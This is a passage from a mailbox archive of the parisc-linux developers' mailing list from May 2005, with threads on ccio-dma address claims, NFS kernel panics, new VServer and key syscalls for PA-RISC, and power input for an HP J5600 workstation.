>  base 10740000
>  base 10780000
> ...
> 
> Otc for 64bit kernel:
> ...
>  base 0000000010a80000
>  base 0000000010ac0000
> ...
> 
> mmm base address seems to be wrong.

You mean it's different. What makes you think it's wrong?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ccio-dma 64bit debug_init info
Date: Fri, 13 May 2005 08:47:55 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <4282FEEC000007BE@mail-4-bnl.tiscali.it>
References: <20050513055734.GC8675@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623784 14599 80.91.229.3 (22 Nov 2014 02:36:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 May 2005 06:48:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 13 May 2005 08:48:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A9487D67A;
	Fri, 13 May 2005 00:48:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04648-10; Fri, 13 May 2005 00:48:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A76187D67B;
	Fri, 13 May 2005 00:48:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4ACA77D679
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 May 2005 00:48:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04707-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 May 2005 00:48:06 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id A46147D65D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 May 2005 00:48:06 -0600 (MDT)
Original-Received: from mail-4-bnl.mail.tiscali.sys ([10.39.115.134]
	helo=mail-4-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43)
	id 1DWTxl-00086s-LQ; Fri, 13 May 2005 08:47:59 +0200
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Fri, 13 May 2005 08:47:55 +0200
In-Reply-To: <20050513055734.GC8675@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /yj2YuRPeSEkZr6WZHQhaXN1IGRvb0Cd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22715


> 
> On Fri, May 13, 2005 at 07:50:05AM +0200, Joel Soete wrote:
> > Ah I thought (too quickly) that it could be the reason why:
> > ...
> > ccio-dma.c: failed to claim CCIO bus address space (ffffffff00000000,=
ffffffffffffffff)
> 
> That's a completely different issue.
> It would be interesting to know why it's asking for that range.
> Where are the values of that range coming from?
> (ie what is the origin of ffffffff00000000 value)
> 
Ah ok I will check...

btw 32 claimed are:
Setting cache flush threshold to 40 (1 CPUs online)
Found U2 at 0xfff88000
ccio_init_resource: claim CCIO bus address space (f1000000,f17fffff)
ccio_init_resource: claim CCIO bus address space (fc000000,fff7ffff)
Found U2 at 0xfff8a000
ccio_init_resource: claim CCIO bus address space (f1800000,f1ffffff)

(just added printk at the end of ccio_init :-)

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] NFS problems : kernel panic
Date: Fri, 13 May 2005 11:32:30 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <4282FEEC000008EE@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623785 14603 80.91.229.3 (22 Nov 2014 02:36:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:25 +0000 (UTC)
To: "Guy Martin" <gmsoft@gentoo.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 May 2005 09:32:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 13 May 2005 11:32:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 227147D680;
	Fri, 13 May 2005 03:32:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05220-07; Fri, 13 May 2005 03:32:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F27FE7D681;
	Fri, 13 May 2005 03:32:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AE747D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 May 2005 03:32:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05220-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 May 2005 03:32:39 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id A3E767D677
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 May 2005 03:32:39 -0600 (MDT)
Original-Received: from mail-4-bnl.mail.tiscali.sys ([10.39.115.134]
	helo=mail-4-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43)
	id 1DWWX1-0004CW-Hb; Fri, 13 May 2005 11:32:33 +0200
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Fri, 13 May 2005 11:32:30 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EhH2Yh0seSEkd76WZHQhaXN1IGRvbwCc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22716

Hello GMsoft,

:-)

>
> Many users are reporting me problems with kernel after 2.6.10-pa11. I'v=
e
> had the problem myself on both my C3600 and my B180L.
> When you upload or download big files via NFS, the kernel crash with no=

> more message than :
> Kernel panic - not syncing
>
> The nfs share can be either udp or tcp. That doesn't matter.
>
> Is this a know problem ? Is there a workaround (don't tell me samba :)
?
>
mmm upload/download BIG files that sounds like file transfer?
Isn't it more secure to use scp or sftp for such case?

btw I use regulary such kind of ft:
cd /CVS/hppa; tar -cslp linux-2.6 | tar -C /usr/src -xslpf;
(/CVS being a nfs mp)
So that looks like a file of 200Mb (at about 350k/s on a 10M-half dusplex=

;-)
without pb?

Any way, that remember me vaguely that at a moment I also encountered nfs=

pb during such operation.
It seems that I find a work-around by removing nfs-v4 support from my ker=
nel?
(but I am very not sure: very very vague souvenir)
Just in case, here is my nfs config:
#
# Network File Systems
#
CONFIG_NFS_FS=3Dy
CONFIG_NFS_V3=3Dy
# CONFIG_NFS_V4 is not set
# CONFIG_NFS_DIRECTIO is not set
CONFIG_NFSD=3Dy
CONFIG_NFSD_V3=3Dy
# CONFIG_NFSD_V4 is not set
CONFIG_NFSD_TCP=3Dy
CONFIG_ROOT_NFS=3Dy
CONFIG_LOCKD=3Dy
CONFIG_LOCKD_V4=3Dy
CONFIG_EXPORTFS=3Dy
CONFIG_SUNRPC=3Dy

> Feel free to ask if you want more info or if you want me to do some
> tests.
>
Sorry not enough clue to track this.

Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Linux-VServer syscall number for parisc
	(hppa/64) ...
Date: Sat, 14 May 2005 17:04:52 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20050514230452.GB23641@colo.lackof.org>
References: <20050506002253.GA27506@MAIL.13thfloor.at>
	<20050506053757.GC25195@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623785 14605 80.91.229.3 (22 Nov 2014 02:36:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Herbert Poetzl <herbert@13thfloor.at>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 May 2005 23:02:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 15 May 2005 01:02:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E53E7D644;
	Sat, 14 May 2005 17:01:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03164-02; Sat, 14 May 2005 17:01:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 766977D646;
	Sat, 14 May 2005 17:01:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8BDC37D643
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 May 2005 17:01:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02208-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 May 2005 17:01:50 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 169807D642
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 May 2005 17:01:50 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B2485298067;
	Sat, 14 May 2005 17:04:52 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26707-02; Sat, 14 May 2005 17:04:52 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 79FC4298052; Sat, 14 May 2005 17:04:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050506053757.GC25195@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ieb0YgFaeSEke76WZHQhaXN1IGRvb4Cf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22717

On Thu, May 05, 2005 at 11:37:57PM -0600, Grant Grundler wrote:
> We are also missing a few other syscalls:
> 	__NR_sys_kexec_load
> 	__NR_add_key
> 	__NR_request_key
> 	__NR_keyctl

Herbert,
I've got a patch ready that adds vserver (263) and the three
key syscalls. I'm not touching sys_kexec_load since it's arch
specific and no one has asked for it.

I checked sparc64 syscall_table.S and it looks like the key syscalls
do NOT need 32-bit compat wrappers.
I did NOT audit the key handling code.

Patch is on
	ftp://ftp.parisc-linux.org/patches/diff-2.6.12-rc4-pa4-vserver

I'll commit this in a bit unless willy or someone else yells.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Linux-VServer syscall number for parisc
	(hppa/64) ...
Date: Sun, 15 May 2005 01:27:26 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20050514232726.GB4507@MAIL.13thfloor.at>
References: <20050506002253.GA27506@MAIL.13thfloor.at>
	<20050506053757.GC25195@colo.lackof.org>
	<20050514230452.GB23641@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623785 14609 80.91.229.3 (22 Nov 2014 02:36:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 May 2005 23:27:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 15 May 2005 01:27:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DBD67D644;
	Sat, 14 May 2005 17:27:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03162-09; Sat, 14 May 2005 17:27:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E90587D646;
	Sat, 14 May 2005 17:27:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F13F7D643
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 May 2005 17:27:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03164-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 May 2005 17:27:28 -0600 (MDT)
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.50])
	by free.linux.hp.com (Postfix) with ESMTP id AC2567D642
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 May 2005 17:27:28 -0600 (MDT)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id 999443FC4E; Sun, 15 May 2005 01:27:26 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20050514230452.GB23641@colo.lackof.org>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Puz0YoRCeSEkW76WZHQhaXN1IGRvb0Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22718

On Sat, May 14, 2005 at 05:04:52PM -0600, Grant Grundler wrote:
> On Thu, May 05, 2005 at 11:37:57PM -0600, Grant Grundler wrote:
> > We are also missing a few other syscalls:
> > 	__NR_sys_kexec_load
> > 	__NR_add_key
> > 	__NR_request_key
> > 	__NR_keyctl
> 
> Herbert,
> I've got a patch ready that adds vserver (263) and the three
> key syscalls. I'm not touching sys_kexec_load since it's arch
> specific and no one has asked for it.
> 
> I checked sparc64 syscall_table.S and it looks like the key syscalls
> do NOT need 32-bit compat wrappers.
> I did NOT audit the key handling code.
> 
> Patch is on
> 	ftp://ftp.parisc-linux.org/patches/diff-2.6.12-rc4-pa4-vserver
> 
> I'll commit this in a bit unless willy or someone else yells.

excellent, thanks a lot!

best,
Herbert

> grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] information about a J5600
Date: Mon, 16 May 2005 13:57:37 +0300
Lines: 26
Approved: news@gmane.org
Message-ID: <20050516115737.1BF75365901@mail.esiee.fr>
References: <20050515165519.GA3223@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623786 14610 80.91.229.3 (22 Nov 2014 02:36:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 May 2005 11:57:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 16 May 2005 13:57:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4362B7D67C;
	Mon, 16 May 2005 05:57:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11877-10; Mon, 16 May 2005 05:57:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 588957D67D;
	Mon, 16 May 2005 05:57:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 240BF7D672
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 May 2005 05:57:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11877-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 May 2005 05:57:39 -0600 (MDT)
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id 73E117D670
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 May 2005 05:57:39 -0600 (MDT)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP id 4E602365902
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 May 2005 13:57:38 +0200 (CEST)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 1BF75365901
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 May 2005 13:57:37 +0200 (CEST)
User-Agent: IMHO/0.99 (Webmail for Roxen)
In-Reply-To: <20050515165519.GA3223@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ke/6YloueSEkZL6WZHQhaXN1IGRvb8Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22719

-------------------
> On Sun, May 15, 2005 at 05:53:13PM +0200, startus wrote:
> > I bought a J5600 HP in the US. It works with an
> > input voltage of 110 Volt. Before starting it and
> > installing a HPPA DEBIAN, I would like to known if=20
> > it will work directly with an input voltage of 220 or,
> > if I should use electric transformer.
>=20
> AFAIK, all recent HP PA-RISC and IA64 workstations and servers
> are autosensing.

"recent" for the ages: we've got US B180s, 712 and 725 that work just
fine feeded with 220V ;)

> But it's wise to follow Dave's advice and read the label on the back
> of the machine that describes the input voltage/current.

yeah. It has to be written somewhere anyway.

T-Bone
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ccio-dma 64bit debug_init info
Date: Tue, 17 May 2005 18:29:18 +0200
Lines: 324
Approved: news@gmane.org
Message-ID: <4282FEEE00001BF0@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
